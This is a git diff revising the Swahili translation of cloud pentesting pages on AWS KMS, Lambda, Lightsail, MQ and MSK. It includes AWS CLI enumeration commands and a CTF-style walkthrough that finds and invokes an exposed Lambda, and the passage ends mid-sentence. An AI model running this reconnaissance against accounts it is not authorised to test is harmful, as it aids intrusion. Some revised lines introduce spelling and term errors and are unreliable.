ulinzi wa funguo za usimbaji. -KMS inatumia **simbu ya usimbaji wa symmetrick**. Hii inatumika ku **simbua taarifa wakati wa kupumzika** (kwa mfano, ndani ya S3). Ikiwa unahitaji ku **simbua taarifa wakati wa usafiri** unahitaji kutumia kitu kama **TLS**. +KMS inatumia **simbu ya usimbaji wa symetric**. Hii inatumika ku **simbua taarifa wakati wa kupumzika** (kwa mfano, ndani ya S3). Ikiwa unahitaji ku **simbua taarifa wakati wa usafiri** unahitaji kutumia kitu kama **TLS**. KMS ni **huduma maalum ya eneo**. @@ -14,12 +14,12 @@ KMS ni **huduma maalum ya eneo**. **Funguo za Mteja Mkuu** (CMK): Zinaweza kusimbua data hadi ukubwa wa 4KB. Kwa kawaida hutumiwa kuunda, kusimbua, na kufungua DEKs (Funguo za Usimbaji wa Data). Kisha DEKs zinatumika kusimbua data. -Funguo ya mteja mkuu (CMK) ni uwakilishi wa kimantiki wa funguo kuu katika AWS KMS. Mbali na vitambulisho vya funguo kuu na metadata nyingine, ikiwa ni pamoja na tarehe ya kuundwa, maelezo, na hali ya funguo, **CMK ina nyenzo za funguo ambazo zilitumika kusimbua na kufungua data**. Unapounda CMK, kwa kawaida, AWS KMS inaunda nyenzo za funguo kwa CMK hiyo. Hata hivyo, unaweza kuchagua kuunda CMK bila nyenzo za funguo na kisha kuingiza nyenzo zako za funguo katika CMK hiyo. +Funguo ya mteja mkuu (CMK) ni uwakilishi wa kimantiki wa funguo kuu katika AWS KMS. Mbali na vitambulisho vya funguo kuu na metadata nyingine, ikiwa ni pamoja na tarehe yake ya kuundwa, maelezo, na hali ya funguo, **CMK ina nyenzo za funguo ambazo zilitumika kusimbua na kufungua data**. Unapounda CMK, kwa kawaida, AWS KMS inaunda nyenzo za funguo kwa CMK hiyo. Hata hivyo, unaweza kuchagua kuunda CMK bila nyenzo za funguo na kisha kuingiza nyenzo zako za funguo katika CMK hiyo. Kuna aina 2 za funguo kuu: - **CMKs zinazodhibitiwa na AWS: Zinatumika na huduma nyingine kusimbua data**. Inatumika na huduma iliyoiunda katika eneo. Zinaundwa mara ya kwanza unapoanzisha usimbaji katika huduma hiyo. Inabadilishwa kila miaka 3 na haiwezekani kubadilishwa. -- **CMKs za Meneja wa Mteja**: Uwezo, kubadilisha, ufikiaji unaoweza kubadilishwa na sera ya funguo. Wezesha na uzuie funguo. +- **CMKs za Meneja wa Mteja**: Uwezo, mzunguko, ufikiaji unaoweza kubadilishwa na sera za funguo. Wezesha na uzuie funguo. **Usimbaji wa Envelope** katika muktadha wa Huduma ya Usimamizi wa Funguo (KMS): Mfumo wa ngazi mbili ili **kusimbua data kwa funguo za data na kisha kusimbua funguo za data kwa funguo kuu**. @@ -33,13 +33,13 @@ Kwa **kawaida:** Tofauti na sera nyingine za rasilimali za AWS, sera ya **funguo za AWS KMS haipatii ruhusa moja kwa moja yeyote wa wakuu wa akaunti**. Ili kutoa ruhusa kwa wasimamizi wa akaunti, **sera ya funguo lazima iwe na taarifa wazi** inayotoa ruhusa hii, kama hii. -- Bila kuruhusu akaunti (`"AWS": "arn:aws:iam::111122223333:root"`) ruhusa za IAM hazitafanya kazi. +- Bila kuruhusu akaunti(`"AWS": "arn:aws:iam::111122223333:root"`) ruhusa za IAM hazitafanya kazi. - In **aruhusu akaunti kutumia sera za IAM** kuruhusu ufikiaji wa funguo za KMS, pamoja na sera ya funguo. **Bila ruhusa hii, sera za IAM zinazoruhusu ufikiaji wa funguo hazifanyi kazi**, ingawa sera za IAM zinazokataa ufikiaji wa funguo bado zinafanya kazi. -- In **punguza hatari ya funguo kuwa ngumu kusimamia** kwa kutoa ruhusa ya udhibiti wa ufikiaji kwa wasimamizi wa akaunti, ikiwa ni pamoja na mtumiaji wa mizizi wa akaunti, ambaye cannot kufutwa. +- In **punguza hatari ya funguo kuwa ngumu kusimamia** kwa kutoa ruhusa ya kudhibiti ufikiaji kwa wasimamizi wa akaunti, ikiwa ni pamoja na mtumiaji wa mizizi wa akaunti, ambaye cannot kufutwa. **Mfano wa sera ya kawaida**: ```json @@ -54,7 +54,7 @@ Tofauti na sera nyingine za rasilimali za AWS, sera ya **funguo za AWS KMS haipa } ``` > [!WARNING] -> Ikiwa **akaunti inaruhusiwa** (`"arn:aws:iam::111122223333:root"`), **mwanachama** kutoka kwenye akaunti **bado atahitaji ruhusa za IAM** kutumia funguo za KMS. Hata hivyo, ikiwa **ARN** ya jukumu kwa mfano inaruhusiwa **hasa** katika **Sera ya Funguo**, jukumu hilo **halihitaji ruhusa za IAM**. +> Ikiwa **akaunti inaruhusiwa** (`"arn:aws:iam::111122223333:root"`), **mwanachama** kutoka kwenye akaunti **bado anahitaji ruhusa za IAM** kutumia funguo za KMS. Hata hivyo, ikiwa **ARN** ya jukumu kwa mfano inaruhusiwa **hasa** katika **Sera ya Funguo**, jukumu hilo **halihitaji ruhusa za IAM**.
@@ -63,16 +63,16 @@ Tofauti na sera nyingine za rasilimali za AWS, sera ya **funguo za AWS KMS haipa Mali za sera: - Hati inayotegemea JSON -- Rasilimali --> Rasilimali zilizoathiriwa (zinaweza kuwa "\*") +- Rasilimali --> Rasilimali zilizoathirika (zinaweza kuwa "\*") - Kitendo --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (ruhusa) - Athari --> Ruhusu/Kataa -- Mwanachama --> arn aliyeathiriwa +- Mwanachama --> arn aliyeathirika - Masharti (hiari) --> Masharti ya kutoa ruhusa Ruhusa: -- Ruhusu kuhamasisha ruhusa zako kwa mwanachama mwingine wa AWS ndani ya akaunti yako ya AWS. Unahitaji kuziunda kwa kutumia APIs za AWS KMS. Inaweza kuonyeshwa kitambulisho cha CMK, mwanachama wa ruhusa na kiwango kinachohitajika cha operesheni (Decrypt, Encrypt, GenerateDataKey...) -- Baada ya ruhusa kuundwa, GrantToken na GrantID zinatolewa +- Ruhusu kuhamasisha ruhusa zako kwa mwanachama mwingine wa AWS ndani ya akaunti yako ya AWS. Unahitaji kuziunda kwa kutumia APIs za AWS KMS. Inaweza kuonyeshwa kitambulisho cha CMK, mwanachama wa grantee na kiwango kinachohitajika cha operesheni (Decrypt, Encrypt, GenerateDataKey...) +- Baada ya ruhusa kuundwa, GrantToken na GratID zinatolewa **Upatikanaji**: @@ -87,38 +87,38 @@ Ruhusa: Wasimamizi wa funguo kwa default: - Wana upatikanaji wa kusimamia KMS lakini si kuandika au kufungua data -- Watumiaji wa IAM na majukumu pekee wanaweza kuongezwa kwenye orodha ya Wasimamizi wa Funguo (sio vikundi) +- Ni watumiaji wa IAM tu na majukumu wanaweza kuongezwa kwenye orodha ya Wasimamizi wa Funguo (sio vikundi) - Ikiwa CMK ya nje inatumika, Wasimamizi wa Funguo wana ruhusa ya kuingiza vifaa vya funguo ### Mzunguko wa CMKs -- Kadri funguo hiyo hiyo inavyoachwa mahali, ndivyo data zaidi inavyoandikwa kwa funguo hiyo, na ikiwa funguo hiyo itavunjwa, basi eneo kubwa la data liko hatarini. Mbali na hili, kadri funguo hiyo inavyokuwa hai, uwezekano wa kuathiriwa unakua. -- **KMS inageuza funguo za wateja kila siku 365** (au unaweza kufanya mchakato huu kwa mikono wakati wowote unapotaka) na **funguo zinazodhibitiwa na AWS kila miaka 3** na wakati huu haiwezi kubadilishwa. -- **Funguo za zamani zinahifadhiwa** kufungua data ambayo ilandikwa kabla ya mzunguko -- Katika kuvunjika, kugeuza funguo hakutafuta tishio kwani itakuwa inawezekana kufungua data yote iliyoandikwa kwa funguo iliyovunjika. Hata hivyo, **data mpya itandikwa kwa funguo mpya**. +- Kadri funguo hiyo hiyo inavyobaki mahali, ndivyo data zaidi inavyoshughulikiwa kwa funguo hiyo, na ikiwa funguo hiyo itavunjwa, basi eneo kubwa la data liko hatarini. Mbali na hili, kadri funguo hiyo inavyokuwa hai, uwezekano wa kuathirika unakua. +- **KMS inageuza funguo za wateja kila siku 365** (au unaweza kufanya mchakato huo kwa mikono wakati wowote unapotaka) na **funguo zinazodhibitiwa na AWS kila miaka 3** na wakati huu haiwezi kubadilishwa. +- **Funguo za zamani zinahifadhiwa** ili kufungua data ambayo ilishughulikiwa kabla ya mzunguko +- Katika tukio la uvunjaji, kugeuza funguo hakutafuta kuondoa tishio kwani itakuwa inawezekana kufungua data yote iliyoshughulikiwa kwa funguo iliyovunjika. Hata hivyo, **data mpya itashughulikiwa kwa funguo mpya**. - Ikiwa **CMK** iko katika hali ya **kuzuiliwa** au **inasubiri** **kuondolewa**, KMS **haitafanya mzunguko wa funguo** hadi CMK irejeshwe au kuondolewa kukataliwa. #### Mzunguko wa Mikono - **CMK mpya inahitaji kuundwa**, kisha, CMK-ID mpya inaundwa, hivyo utahitaji **kusasisha** programu yoyote ili **kuashiria** CMK-ID mpya. -- Ili kufanya mchakato huu kuwa rahisi unaweza **kutumia majina ya utambulisho kuashiria kitambulisho cha funguo** na kisha tu sasisha funguo ambayo jina la utambulisho linarejelea. -- Unahitaji **kuhifadhi funguo za zamani kufungua faili za zamani** zilizandikwa kwa hiyo. +- Ili kufanya mchakato huu kuwa rahisi unaweza **kutumia majina ya utambulisho kuashiria kitambulisho cha funguo** na kisha tu kusasisha funguo ambayo jina la utambulisho linarejelea. +- Unahitaji **kuhifadhi funguo za zamani ili kufungua faili za zamani** zilizoshughulikiwa nayo. Unaweza kuingiza funguo kutoka kwenye miundombinu yako ya funguo ya ndani. ### Taarifa nyingine muhimu za KMS -KMS inatozwa kulingana na idadi ya maombi ya kuandika/kufungua yaliyopokelewa kutoka kwa huduma zote kwa mwezi. +KMS inagharimu kulingana na idadi ya maombi ya uandishi/uandishi yaliyopokelewa kutoka kwa huduma zote kwa mwezi. -KMS ina ukaguzi kamili na **ujumuishaji wa kufuata na CloudTrail**; hapa ndipo unaweza kukagua mabadiliko yote yaliyofanywa kwenye KMS. +KMS ina ukaguzi kamili na **kuunganishwa kwa kufuata sheria na CloudTrail**; hapa ndipo unaweza kukagua mabadiliko yote yaliyofanywa kwenye KMS. Kwa sera ya KMS unaweza kufanya yafuatayo: -- Punguza nani anaweza kuunda funguo za data na ni huduma zipi zina upatikanaji wa kutumia funguo hizi +- Punguza nani anaweza kuunda funguo za data na huduma zipi zina upatikanaji wa kutumia funguo hizi - Punguza upatikanaji wa mifumo kuandika tu, kufungua tu au zote mbili - Mwelekeo wa kuwezesha mifumo kupata funguo katika maeneo tofauti (ingawa haipendekezwi kwani kushindwa katika eneo linalohifadhi KMS kutahathiri upatikanaji wa mifumo katika maeneo mengine). -Huwezi kuunganisha au kuhamasisha/kukopi funguo kati ya maeneo; unaweza tu kufafanua sheria za kuruhusu upatikanaji kati ya eneo. +Huwezi kuunganisha au kuhamasisha/kopi funguo kati ya maeneo; unaweza tu kufafanua sheria za kuruhusu upatikanaji kati ya eneo. ### Uainishaji ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 5f6217758..76cd0887e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -6,33 +6,33 @@ Amazon Web Services (AWS) Lambda inafafanuliwa kama **huduma ya kompyuta** inayowezesha utekelezaji wa msimbo bila haja ya usambazaji au usimamizi wa seva. Inajulikana kwa uwezo wake wa **kushughulikia kiotomatiki ugawaji wa rasilimali** zinazohitajika kwa utekelezaji wa msimbo, kuhakikisha vipengele kama upatikanaji wa juu, kupanuka, na usalama. Kipengele muhimu cha Lambda ni mfano wake wa bei, ambapo **malipo yanategemea tu muda wa kompyuta ulio tumika**, kuondoa haja ya uwekezaji wa awali au wajibu wa muda mrefu. -Ili kuita lambda inawezekana kuikuta **mara kwa mara unavyotaka** (na Cloudwatch), **kuweka wazi** **URL** ya mwisho na kuikuta, kuita kupitia **API Gateway** au hata kulingana na **matukio** kama **mabadiliko** ya data katika **S3** bucket au masasisho kwa **DynamoDB** table. +Ili kuita lambda inawezekana kuikuta **mara kwa mara unavyotaka** (na Cloudwatch), **kuweka wazi** **URL** kiunganishi na kuikuta, kuita kupitia **API Gateway** au hata kulingana na **matukio** kama **mabadiliko** ya data katika **S3** bucket au masasisho kwa **DynamoDB** jedwali. **Msimbo** wa lambda uhifadhiwa katika **`/var/task`**. ### Lambda Aliases Weights Lambda inaweza kuwa na **matoleo kadhaa**.\ -Na inaweza kuwa na **zaidi ya 1** toleo lililo wazi kupitia **aliases**. **Uzito** wa **kila** moja ya **matoleo** yaliyo wazi ndani ya alias utaamua **ni ipi alias itakayopokea mwito** (inaweza kuwa 90%-10% kwa mfano).\ +Na inaweza kuwa na **zaidi ya 1** toleo lililo wazi kupitia **aliases**. **Uzito** wa **kila** moja ya **matoleo** yaliyo wazi ndani ya alias utaamua **ni alias ipi itakayopokea mwito** (inaweza kuwa 90%-10% kwa mfano).\ Ikiwa msimbo wa **moja** ya aliases ni **dhaifu** unaweza kutuma **maombi hadi toleo dhaifu** lipokee shambulio. ![](<../../../images/image (223).png>) ### Resource Policies -Sera za rasilimali za Lambda zinaruhusu **kutoa ufikiaji kwa huduma/akaunti nyingine ili kuitisha** lambda kwa mfano.\ +Sera za rasilimali za Lambda zinaruhusu **kutoa ufikiaji kwa huduma/accounts nyingine ili kuita** lambda kwa mfano.\ Kwa mfano hii ni sera ya kuruhusu **mtu yeyote kufikia lambda iliyo wazi kupitia URL**:
-Au hii kuruhusu API Gateway kuitisha: +Au hii kuruhusu API Gateway kuita:
### Lambda Database Proxies -Wakati kuna **mamia** ya **maombi ya lambda yanayoendelea**, ikiwa kila moja inahitaji **kuunganisha na kufunga muunganisho na hifadhidata**, haitafanya kazi (lambdas hazina hali, haiwezi kudumisha muunganisho wazi).\ -Basi, ikiwa **Lambda functions zako zinashirikiana na RDS Proxy badala** ya mfano wako wa hifadhidata. Inashughulikia usimamizi wa muunganisho unaohitajika kwa kupanua muunganisho mengi yanayoendelea yaliyoundwa na kazi za Lambda zinazofanyika kwa wakati mmoja. Hii inaruhusu programu zako za Lambda **kutumia muunganisho uliopo**, badala ya kuunda muunganisho mpya kwa kila mwito wa kazi. +Wakati kuna **miyale** ya **maombi ya lambda yanayoendelea**, ikiwa kila moja inahitaji **kuunganisha na kufunga muunganisho na hifadhidata**, haitafanya kazi (lambdas hazina hali, haiwezi kudumisha muunganisho wazi).\ +Basi, ikiwa **Lambda functions zako zinashirikiana na RDS Proxy badala** ya mfano wako wa hifadhidata. Inashughulikia usimamizi wa muunganisho unaohitajika kwa kupanua muunganisho mengi ya wakati mmoja yanayotokana na kazi za Lambda zinazofanyika kwa wakati mmoja. Hii inaruhusu programu zako za Lambda **kutumia muunganisho uliopo**, badala ya kuunda muunganisho mpya kwa kila mwito wa kazi. ### Lambda EFS Filesystems @@ -40,20 +40,20 @@ Ili kuhifadhi na hata kushiriki data **Lambdas zinaweza kufikia EFS na kuziungan ### Lambda Layers -Layer ya Lambda ni archive ya faili .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime maalum](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. +Layer ya Lambda ni archive ya faili ya .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime maalum](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. -Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa kwenye saraka ya `/opt`** katika mazingira ya utekelezaji. +Inawezekana kujumuisha hadi **tabaka tano kwa kazi**. Unapojumuisha tabaka katika kazi, **maudhui yanachukuliwa hadi kwenye saraka ya `/opt`** katika mazingira ya utekelezaji. -Kwa **default**, **layers** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la layer lililofutwa. +Kwa **default**, **tabaka** unazounda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** tabaka na akaunti nyingine au **kufanya** tabaka kuwa **ya umma**. Ikiwa kazi zako zinatumia tabaka ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la tabaka baada ya kufutwa, au baada ya ruhusa yako ya kufikia tabaka kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kusasisha kazi ukitumia toleo la tabaka lililofutwa. -Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo. +Kazi zilizowekwa kama picha ya kontena hazitumii tabaka. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo. ### Lambda Extensions -Lambda extensions huongeza kazi kwa kuungana na zana mbalimbali za **uangalizi, ufuatiliaji, usalama, na usimamizi**. Extensions hizi, zinazoongezwa kupitia [.zip archives kwa kutumia layers za Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumuishwa katika [uzinduzi wa picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **ndani** na **nje**. +Lambda extensions huongeza kazi kwa kuungana na zana mbalimbali za **uangalizi, ufuatiliaji, usalama, na usimamizi**. Extensions hizi, zilizoongezwa kupitia [.zip archives kwa kutumia tabaka za Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au zilizojumuishwa katika [uzinduzi wa picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika hali mbili: **ndani** na **nje**. -- **Extensions za ndani** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **mabadiliko ya mazingira maalum ya lugha** na **scripts za wrapper**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. -- **Extensions za nje** zinafanya kazi kama michakato tofauti, zikidumisha uendeshaji unaolingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **runtimes maalum**. +- **Extensions za ndani** huungana na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **mabadiliko maalum ya lugha** na **script za wrapper**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. +- **Extensions za nje** zinafanya kazi kama michakato tofauti, zikihifadhi usawa wa operesheni na mzunguko wa maisha ya kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **runtimes maalum**. ### Enumeration ```bash @@ -92,9 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` -### Itisha lambda +### Wito wa lambda -#### Kawaida +#### Kiganja ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -116,7 +116,7 @@ aws --region us-west-2 --profile level6 lambda list-functions ``` ![](<../../../images/image (262).png>) -Kazi ya lambda inayoitwa "Level6" inapatikana. Hebu tuone jinsi ya kuitumia: +Kuna kazi ya lambda inayoitwa "Level6". Hebu tuone jinsi ya kuitumia: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` @@ -128,7 +128,7 @@ aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33 ``` ![](<../../../images/image (237).png>) -Na hatimaye piga simu kwa kazi ikifikiwa (angalia kwamba ID, Jina na jina la kazi vinatokea kwenye URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +Na hatimaye itwa kazi kwa kufikia (zingatia kwamba ID, Jina na jina la kazi yanaonekana kwenye URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** @@ -140,7 +140,7 @@ Kuna vyanzo vingi vingine vinavyoweza kuchochea lambda ### Privesc -Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za Lambda kuboresha mamlaka**: +Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za Lambda kuongeza mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md @@ -152,7 +152,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za Lambda kub ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Baada ya Kutekeleza +### Baada ya Ukatili {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ @@ -164,7 +164,7 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kutumia ruhusa za Lambda kub ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## Marejeleo +## Marejeo - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 3f7627bcc..69300b7a7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -30,11 +30,11 @@ aws lightsail get-key-pairs ``` ### Changanua Snapshots -Inawezekana kuzalisha **snapshots za instance na database za uhusiano kutoka lightsail**. Hivyo unaweza kuangalia hizo kwa njia ile ile unavyoweza kuangalia [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) na [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +Inawezekana kuzalisha **instance na relational database snapshots kutoka lightsail**. Hivyo unaweza kuangalia hizo kwa njia ile ile unavyoweza kuangalia [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) na [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). ### Metadata -**Kipengele cha metadata kinapatikana kutoka lightsail**, lakini mashine zinaendesha katika **akaunti ya AWS inayosimamiwa na AWS** hivyo huwezi kudhibiti **ni ruhusa zipi zinatolewa**. Hata hivyo, ikiwa utapata njia ya kutumia hizo, utakuwa unatumia moja kwa moja AWS. +**Metadata endpoint inapatikana kutoka lightsail**, lakini mashine zinaendesha katika **AWS account inayosimamiwa na AWS** hivyo huwezi kudhibiti **ni ruhusa zipi zinazotolewa**. Hata hivyo, ikiwa utapata njia ya kutumia hizo, utakuwa unatumia moja kwa moja AWS. ### Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 97450c91c..556753ef2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,23 +6,23 @@ ### Utangulizi wa Wakala wa Ujumbe -**Wakala wa ujumbe** hutumikia kama wasaidizi, wakirahisisha mawasiliano kati ya mifumo tofauti ya programu, ambayo inaweza kujengwa kwenye majukwaa mbalimbali na kuandikwa kwa lugha tofauti. **Amazon MQ** inarahisisha uwekaji, uendeshaji, na matengenezo ya wakala wa ujumbe kwenye AWS. Inatoa huduma zinazodhibitiwa kwa **Apache ActiveMQ** na **RabbitMQ**, kuhakikisha upatikanaji usio na mshono na masasisho ya toleo la programu kiotomatiki. +**Wakala wa ujumbe** hufanya kazi kama wasaidizi, wakirahisisha mawasiliano kati ya mifumo tofauti ya programu, ambayo inaweza kujengwa kwenye majukwaa mbalimbali na kuandikwa kwa lugha tofauti. **Amazon MQ** inarahisisha uwekaji, uendeshaji, na matengenezo ya wakala wa ujumbe kwenye AWS. Inatoa huduma zinazodhibitiwa kwa **Apache ActiveMQ** na **RabbitMQ**, kuhakikisha upatikanaji usio na mshono na masasisho ya toleo la programu kiotomatiki. ### AWS - RabbitMQ -RabbitMQ ni programu maarufu ya **kuweka ujumbe kwenye foleni**, pia inajulikana kama _wakala wa ujumbe_ au _msimamizi wa foleni_. Kimsingi ni mfumo ambapo foleni zinawekwa. Programu zinawasiliana na foleni hizi ili **kutuma na kupokea ujumbe**. Ujumbe katika muktadha huu unaweza kubeba aina mbalimbali za taarifa, kuanzia amri za kuanzisha michakato kwenye programu nyingine (labda kwenye seva tofauti) hadi ujumbe wa maandiko rahisi. Ujumbe unashikiliwa na programu ya msimamizi wa foleni hadi unaporejeshwa na kusindika na programu inayopokea. AWS inatoa suluhisho rahisi la kutumia kwa kuhost na kusimamia seva za RabbitMQ. +RabbitMQ ni programu maarufu ya **kuweka ujumbe kwenye foleni**, pia inajulikana kama _wakala wa ujumbe_ au _msimamizi wa foleni_. Kimsingi ni mfumo ambapo foleni zinawekwa. Programu zinawasiliana na foleni hizi ili **kutuma na kupokea ujumbe**. Ujumbe katika muktadha huu unaweza kubeba aina mbalimbali za taarifa, kuanzia amri za kuanzisha michakato kwenye programu nyingine (labda kwenye seva tofauti) hadi ujumbe wa maandiko rahisi. Ujumbe unashikiliwa na programu ya msimamizi wa foleni hadi unapopatikana na kusindika na programu inayopokea. AWS inatoa suluhisho rahisi la kutumia kwa kuhost na kusimamia seva za RabbitMQ. ### AWS - ActiveMQ -Apache ActiveMQ® ni wakala maarufu wa ujumbe wa wazi, unaotegemea Java, unaojulikana kwa ufanisi wake. Inasaidia protokali nyingi za viwango vya tasnia, ikitoa ulinganifu mpana wa wateja katika aina mbalimbali za lugha na majukwaa. Watumiaji wanaweza: +Apache ActiveMQ® ni wakala maarufu wa ujumbe wa wazi, unaotegemea Java, unaojulikana kwa ufanisi wake. Inasaidia protokali nyingi za viwango vya tasnia, ikitoa ulinganifu mpana wa wateja katika lugha na majukwaa mbalimbali. Watumiaji wanaweza: - Kuunganisha na wateja waliandikwa kwa JavaScript, C, C++, Python, .Net, na zaidi. - Kutumia protokali ya **AMQP** kuunganisha programu kutoka majukwaa tofauti. -- Kutumia **STOMP** juu ya websockets kwa kubadilishana ujumbe wa programu za wavuti. +- Kutumia **STOMP** kupitia websockets kwa ubadilishanaji wa ujumbe wa programu za wavuti. - Kusimamia vifaa vya IoT kwa **MQTT**. - Kudumisha miundombinu ya **JMS** iliyopo na kupanua uwezo wake. -Uwezo na kubadilika kwa ActiveMQ hufanya iwe sawa kwa mahitaji mengi ya ujumbe. +Nguvu na kubadilika kwa ActiveMQ inafanya iweze kutumika kwa mahitaji mengi ya ujumbe. ## Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 28b1c1b9d..f00a46135 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -6,17 +6,17 @@ **Amazon Managed Streaming for Apache Kafka (Amazon MSK)** ni huduma inayosimamiwa kikamilifu, ikirahisisha maendeleo na utekelezaji wa programu zinazoshughulikia data za mtiririko kupitia **Apache Kafka**. Operesheni za control-plane, ikiwa ni pamoja na uundaji, sasisho, na kufuta **clusters**, zinatolewa na Amazon MSK. Huduma hii inaruhusu matumizi ya operesheni za data-plane za Apache Kafka, zinazojumuisha uzalishaji na matumizi ya data. Inafanya kazi kwenye **toleo la chanzo wazi la Apache Kafka**, ikihakikisha ufanisi na programu zilizopo, zana, na plugins kutoka kwa washirika na **jamii ya Apache Kafka**, ikiondoa hitaji la mabadiliko katika msimbo wa programu. -Kwa upande wa uaminifu, Amazon MSK imeundwa ili **kujigundua na kupona kutoka kwa hali za kawaida za kushindwa kwa cluster**, ikihakikisha kwamba programu za wazalishaji na watumiaji zinaendelea na shughuli zao za kuandika na kusoma data bila usumbufu mkubwa. Aidha, inalenga kuboresha michakato ya nakala za data kwa kujaribu **kurudisha matumizi ya hifadhi ya wakala walioondolewa**, hivyo kupunguza kiasi cha data kinachohitajika kuigwa na Apache Kafka. +Kwa upande wa uaminifu, Amazon MSK imeundwa ili **kujiruhusu kugundua na kupona kutoka kwa hali za kawaida za kushindwa kwa cluster**, ikihakikisha kwamba programu za wazalishaji na watumiaji zinaendelea na shughuli zao za kuandika na kusoma data bila usumbufu mkubwa. Aidha, inakusudia kuboresha michakato ya nakala za data kwa kujaribu **kurudisha matumizi ya hifadhi ya wakala walioondolewa**, hivyo kupunguza kiasi cha data kinachohitajika kuigwa na Apache Kafka. ### **Aina** -Kuna aina 2 za clusters za Kafka ambazo AWS inaruhusu kuunda: Iliyotolewa na Isiyo na Server. +Kuna aina 2 za clusters za Kafka ambazo AWS inaruhusu kuunda: Provisioned na Serverless. -Kwa mtazamo wa 